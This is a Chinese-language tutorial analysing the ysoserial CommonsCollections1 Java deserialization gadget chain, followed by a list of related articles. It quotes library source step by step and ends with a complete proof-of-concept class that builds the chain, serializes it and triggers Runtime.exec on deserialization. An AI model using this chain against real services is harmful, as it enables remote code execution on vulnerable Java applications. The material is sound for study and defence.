java安全 ysoserial CommonsCollections1示例解析

目录
  • 正文
    • 先假设Runtime类可序列化
    • 调用InvokerTransformer.transform()
    • InvokerTransformer的transform调用
    • ChainedTransformer的transform谁来调?
    • lazyMap的get谁来调用?
    • AnnotationInvocationHandler的readobject重写

正文

/*
    Gadget chain:
        ObjectInputStream.readObject()
            AnnotationInvocationHandler.readObject()
                Map(Proxy).entrySet()
                    AnnotationInvocationHandler.invoke()
                        LazyMap.get()
                            ChainedTransformer.transform()
                                ConstantTransformer.transform()
                                InvokerTransformer.transform()
                                    Method.invoke()
                                        Class.getMethod()
                                InvokerTransformer.transform()
                                    Method.invoke()
                                        Runtime.getRuntime()
                                InvokerTransformer.transform()
                                    Method.invoke()
                                        Runtime.exec()
    Requires:
        commons-collections
 */

先假设Runtime类可序列化

先假设Runtime类可序列化,最终要实现:

Runtime runtime = Runtime.getRuntime();
runtime.exec("calc.exe");

调用InvokerTransformer.transform()

从最后一步开始,调用InvokerTransformer.transform()

public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        super();
        iMethodName = methodName;
        iParamTypes = paramTypes;
        iArgs = args;
    }
public Object transform(Object input) {
    if (input == null) {
        return null;
    }
    try {
        Class cls = input.getClass();
        Method method = cls.getMethod(iMethodName, iParamTypes);
        return method.invoke(input, iArgs);
    } catch (NoSuchMethodException ex) {
        throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
    } catch (IllegalAccessException ex) {
        throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
    } catch (InvocationTargetException ex) {
        throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
    }
}

transform方法实现了完整的反射,通过InvokerTransformer构造方法传入方法和参数。

所以这一步的利用链

InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"}).transform(runtime);

InvokerTransformer的transform调用

InvokerTransformer的transform的调用,在ChainedTransformer的transform实现。

public ChainedTransformer(Transformer[] transformers) {
  super();
  iTransformers = transformers;
}
public Object transform(Object object) {
  for (int i = 0; i < iTransformers.length; i++) {
    object = iTransformers[i].transform(object);
  }
  return object;
}

如果Transformer[]里面的对象是:

Transformer[0]:new ConstantTransformer(runtime)

Transformer[1]:invokerTransformer

第一次循环:(new ConstantTransformer(runtime)).transform() runtime对象返回给object

第二次循环:invokerTransformer.transform(runtime)

所以这一步的利用链:

ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{new ConstantTransformer(runtime),invokerTransformer});
chainedTransformer.transform(1);

ChainedTransformer的transform谁来调?

LazyMap的get方法存在transform调用(key不存在的时候)。

public class LazyMap
        extends AbstractMapDecorator
        implements Map, Serializable {
    public static Map decorate(Map map, Transformer factory) {
        return new LazyMap(map, factory);
    }
    protected LazyMap(Map map, Transformer factory) {
        super(map);
        if (factory == null) {
            throw new IllegalArgumentException("Factory must not be null");
        }
        this.factory = factory;
    }
    private void writeObject(ObjectOutputStream out) throws IOException {
        out.defaultWriteObject();
        out.writeObject(map);
    }
    private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
        in.defaultReadObject();
        map = (Map) in.readObject();
    }
    //-----------------------------------------------------------------------
    public Object get(Object key) {
        // create value for key if key is not currently in the map
        if (map.containsKey(key) == false) {
            Object value = factory.transform(key);
            map.put(key, value);
            return value;
        }
        return map.get(key);
    }
}

通过decorate方法,修改this.factory为chainedTransformer对象,最后通过get不存在的key调用chainedTransformer的transform

所以利用链

HashMap hashMap = new HashMap();
LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap,chainedTransformer);
lazyMap.get(1);

lazyMap的get谁来调用?

这里面用的AnnotationInvocationHandler的invoke,该方法存在某个属性的get,属性可通过构造方法改变。

class AnnotationInvocationHandler implements InvocationHandler, Serializable {
    private static final long serialVersionUID = 6182022883658399397L;
    private final Class<? extends Annotation> type;
    private final Map<String, Object> memberValues;
    AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
        Class<?>[] superInterfaces = type.getInterfaces();
        if (!type.isAnnotation() ||
            superInterfaces.length != 1 ||
            superInterfaces[0] != java.lang.annotation.Annotation.class)
            throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
        this.type = type;
        this.memberValues = memberValues;
    }
    public Object invoke(Object proxy, Method method, Object[] args) {
        String member = method.getName();
        Class<?>[] paramTypes = method.getParameterTypes();
        // Handle Object and Annotation methods
        if (member.equals("equals") && paramTypes.length == 1 &&
            paramTypes[0] == Object.class)
            return equalsImpl(args[0]);
        if (paramTypes.length != 0)
            throw new AssertionError("Too many parameters for an annotation method");
        switch(member) {
        case "toString":
            return toStringImpl();
        case "hashCode":
            return hashCodeImpl();
        case "annotationType":
            return type;
        }
        // Handle annotation member accessors
        Object result = memberValues.get(member);
        if (result == null)
            throw new IncompleteAnnotationException(type, member);
        if (result instanceof ExceptionProxy)
            throw ((ExceptionProxy) result).generateException();
        if (result.getClass().isArray() && Array.getLength(result) != 0)
            result = cloneArray(result);
        return result;
    }
    /**
     * This method, which clones its array argument, would not be necessary
     * if Cloneable had a public clone method.
     */

因为AnnotationInvocationHandler类非public,通过反射调用

Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");

Constructor declaredConstructor = c.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);

InvocationHandler handler = (InvocationHandler) declaredConstructor.newInstance(Retention.class, lazyMap);

对象初始化memberValues,得到对象handler,接下来就是让handler对象执行invoke

Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler);

proxyMap已经有了,那么应该怎么触发handler执行方法,来调用invoke方法
AnnotationInvocationHandler的readobject方法,存在对memberValues执行entrySet()

所以用proxyMap对象重新生成一个AnnotationInvocationHandler对象

InvocationHandler handle = (InvocationHandler) declaredConstructor.newInstance(Retention.class, proxyMap);
handle

AnnotationInvocationHandler的readobject重写

private void readObject(java.io.ObjectInputStream s)
        throws java.io.IOException, ClassNotFoundException {
        s.defaultReadObject();
        // Check to make sure that types have not evolved incompatibly
        AnnotationType annotationType = null;
        try {
            annotationType = AnnotationType.getInstance(type);
        } catch(IllegalArgumentException e) {
            // Class is no longer an annotation type; time to punch out
            throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
        }
        Map<String, Class<?>> memberTypes = annotationType.memberTypes();
        // If there are annotation members without values, that
        // situation is handled by the invoke method.
        for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
            String name = memberValue.getKey();
            Class<?> memberType = memberTypes.get(name);
            if (memberType != null) {  // i.e. member still exists
                Object value = memberValue.getValue();
                if (!(memberType.isInstance(value) ||
                      value instanceof ExceptionProxy)) {
                    memberValue.setValue(
                        new AnnotationTypeMismatchExceptionProxy(
                            value.getClass() + "[" + value + "]").setMember(
                                annotationType.members().get(name)));
                }
            }
        }
    }

最后AnnotationInvocationHandler对象反序列化,执行readobject也就触发了proxyMap的invoke方法

要解决的问题:Runtime类未实现Serializable,需要使用反射调用,反射方法用什么来触发执行?

Runtime runtime = Runtime.getRuntime();
runtime.exec("calc.exe");

反射方式实现:

Class cr = Class.forName("java.lang.Runtime");
Method getRuntime = cr.getMethod("getRuntime", null);
Runtime runtime = (Runtime) getRuntimemethod.invoke(null, null);
Method execmethod = cr.getMethod("exec", String.class);
execmethod.invoke(runtimemethod,"calc.exe");

反射方法通过InvokerTransformer实现

Class cr = Class.forName("java.lang.Runtime");
Method getRuntimemethod = (Method) new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime", null}).transform(cr);
Runtime runtimemethod = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null, null}).transform(getRuntimemethod);
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}).transform(runtimemethod);

ChainedTransformer中的transform正好实现了这组链的调用

public Object transform(Object object) {
        for (int i = 0; i < iTransformers.length; i++) {
            object = iTransformers[i].transform(object);
        }
        return object;
    }

所以最后runtime的实现利用链:

Transformer[] transformers = {
  new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
  new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
  new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
};
ChainedTransformer chainedTransformerruntime = new ChainedTransformer(transformers);
chainedTransformerruntime.transform(cr);

最终实现的利用链:

public class CC1Test3 {
    public static void main(String[] args) throws Exception {
        Class cr = Class.forName("java.lang.Runtime");
        Transformer[] transformers = {
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
        };
        ChainedTransformer chainedTransformerruntime = new ChainedTransformer(transformers);
        ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{new ConstantTransformer(cr),chainedTransformerruntime});
        HashMap hashMap = new HashMap();
        LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap,chainedTransformer);
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor declaredConstructor = c.getDeclaredConstructor(Class.class, Map.class);
        declaredConstructor.setAccessible(true);
        InvocationHandler handler = (InvocationHandler) declaredConstructor.newInstance(Retention.class, lazyMap);
        Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler);
        InvocationHandler handle = (InvocationHandler) declaredConstructor.newInstance(Retention.class, proxyMap);
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("D:\\cc1.ser"));
        objectOutputStream.writeObject(handle);
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("D:\\cc1.ser"));
        objectInputStream.readObject();
    }
}

以上就是java安全 ysoserial CommonsCollections1示例解析的详细内容,更多关于java安全 ysoserial CommonsCollections的资料请关注我们其它相关文章!

(0)

相关推荐

  • Java安全 ysoserial CommonsCollections3示例分析

    目录 cc3利用链如下: 一.为构造的恶意字节码文件找一个newInstance启动入口 构造恶意类: 加载的字节码类需要继承AbstractTranslet 二.将字节码内容直接赋值序列化 三.让newTransformer得到执行 cc3利用链如下: TrAXFilter(Templates templates) TemplatesImpl->newTransformer() TemplatesImpl->getTransletInstance() _class[_transletInde

  • java安全之CommonsCollections4详解

    目录 引子 PriorityQueue readobject()方法 heapify()调用了siftdown()方法 TransformingComparator 问题 POC 结语 引子 CC4简单来说就是CC3前半部分和CC2后半部分拼接组成的,对于其利用的限制条件与CC2一致,一样需要在commons-collections-4.0版本使用,原因是TransformingComparator类在3.1-3.2.1版本中还没有实现Serializable接口,无法被反序列化. 接下来让我们

  • java 安全 ysoserial CommonsCollections6 分析

    目录 利用链如下 1.InvokerTransformer.transform() 2.ChainedTransformer.transform() 3.LazyMap.get() 4.TiedMapEntry 5.HashMap 6.HashSet 利用链如下 其中LazyMap.get()->ChainedTransformer.transform()-InvokerTransformer.transform()与CC1链一致. /* Gadget chain: java.io.Object

  • Java安全 ysoserial CommonsCollections2示例分析

    目录 正文 cc2 commons-collections4版本利用链 InvokerTransformer.transform()利用 InvokerTransformer.transform()的调用 TransformingComparator.compare()的调用 queue属性赋值 最终完整利用实现 正文 在最后一步的实现上,cc2和cc3一样,最终都是通过TemplatesImpl恶意字节码文件动态加载方式实现反序列化. 已知的TemplatesImpl->newTransfor

  • java LockSupport实现原理示例解析

    目录 引言 LockSupport常见函数 LockSupport.park LockSupport.unpark 引言 前文中了解到AQS借助LockSupport.park和LockSupport.unpark完成线程的阻塞和唤醒,那么LockSupport内部又是怎么实现的?这是一个什么类? LockSupport是用于使用锁阻塞线程的基础实现,是其他同步类的基础,这个类为每个使用它的线程关联一个许可证(有点类似于Semaphore),如果许可证可用,线程调用park方法时会立即返回,线程

  • Java socket字节流传输示例解析

    本文为大家分享了Java socket字节流传输示例,供大家参考,具体内容如下 服务端server端: package com.yuan.socket; import java.io.*; import java.net.ServerSocket; import java.net.Socket; /** * Created by YUAN on 2016-09-17. */ public class TalkServer4Byte { private ServerSocket server; p

  • Java正则表达式的语法及示例解析

    1匹配验证-验证Email是否正确 Java | 复制 public static void main(String[] args) { // 要验证的字符串 String str = "service@xsoftlab.net"; // 邮箱验证规则 String regEx = "[a-zA-Z_]{1,}[0-9]{0,}@(([a-zA-z0-9]-*){1,}\\.){1,3}[a-zA-z\\-]{1,}"; // 编译正则表达式 Pattern pat

  • Java BigDecimal和double示例及相关问题解析

    BigDecimal类 对于不需要任何准确计算精度的数字可以直接使用float或double,但是如果需要精确计算的结果,则必须使用BigDecimal类,而且使用BigDecimal类也可以进行大数的操作.BigDecimal类的常用方法如表1所示. 表1 BigDecimal类的常用方法 序号 方    法 类型 描    述 1 public BigDecimal(double val) 构造 将double表示形式转换 为BigDecimal 2 public BigDecimal(in

  • Java语言字典序排序算法解析及代码示例

    字典序法就是按照字典排序的思想逐一产生所有排列. 在数学中,字典或词典顺序(也称为词汇顺序,字典顺序,字母顺序或词典顺序)是基于字母顺序排列的单词按字母顺序排列的方法. 这种泛化主要在于定义有序完全有序集合(通常称为字母表)的元素的序列(通常称为计算机科学中的单词)的总顺序. 对于数字1.2.3......n的排列,不同排列的先后关系是从左到右逐个比较对应的数字的先后来决定的.例如对于5个数字的排列 12354和12345,排列12345在前,排列12354在后.按照这样的规定,5个数字的所有的

  • java eclipse 中文件的上传和下载示例解析

    文件的上传与下载(一) 在实现文件上传和下载之前我们需要做一些准备工作,在Apache官网去下载文件上传下载的两个组件,下载链接这里给出:common-fileupload组件下载:http://commons.apache.org/proper/commons-fileupload/ common-io组件下载:http://commons.apache.org/proper/commons-io/根据自己需求下载对应版本 一.创建工程 将所需要的两个开发包导入到工程项目中如图: 二.代码编写

  • java基于spring boot本地上传图片示例解析

    前几天项目中刚好需要上传图片的需求,当时想的是用七牛云,因为我用七牛云也用了好几次,就是把图片上传到七牛云空间里面,数据库里面保存的是这张上传图片的url地址 那么页面访问也就很方便,考虑到项目部署的环境我就用了本地上传,不牵涉数据库的操作.我就花了半个小时写了个本地上传图片的小demo.非常的简单. 下面是需要的依赖 pom.xml文件: <?xml version="1.0" encoding="UTF-8"?> <project xmlns=

  • Java +Tomcat + SpringMVC实现页面访问示例解析

    window7下Java环境安装记录:  一.安装Tomcat 1.下载tomcat 7.0,解压,无需安装,放置到目录:D:\apache-tomcat-7.0.90. 2.配置系统环境变量,CATALINA_BASE=D:\apache-tomcat-7.0.90,CATALINA_HOME=D:\apache-tomcat-7.0.90,在Path中新增"%CATALINA_HOME%\lib;%CATALINA_HOME%\bin"的环境变量. 3.进入D:\apache-to

随机推荐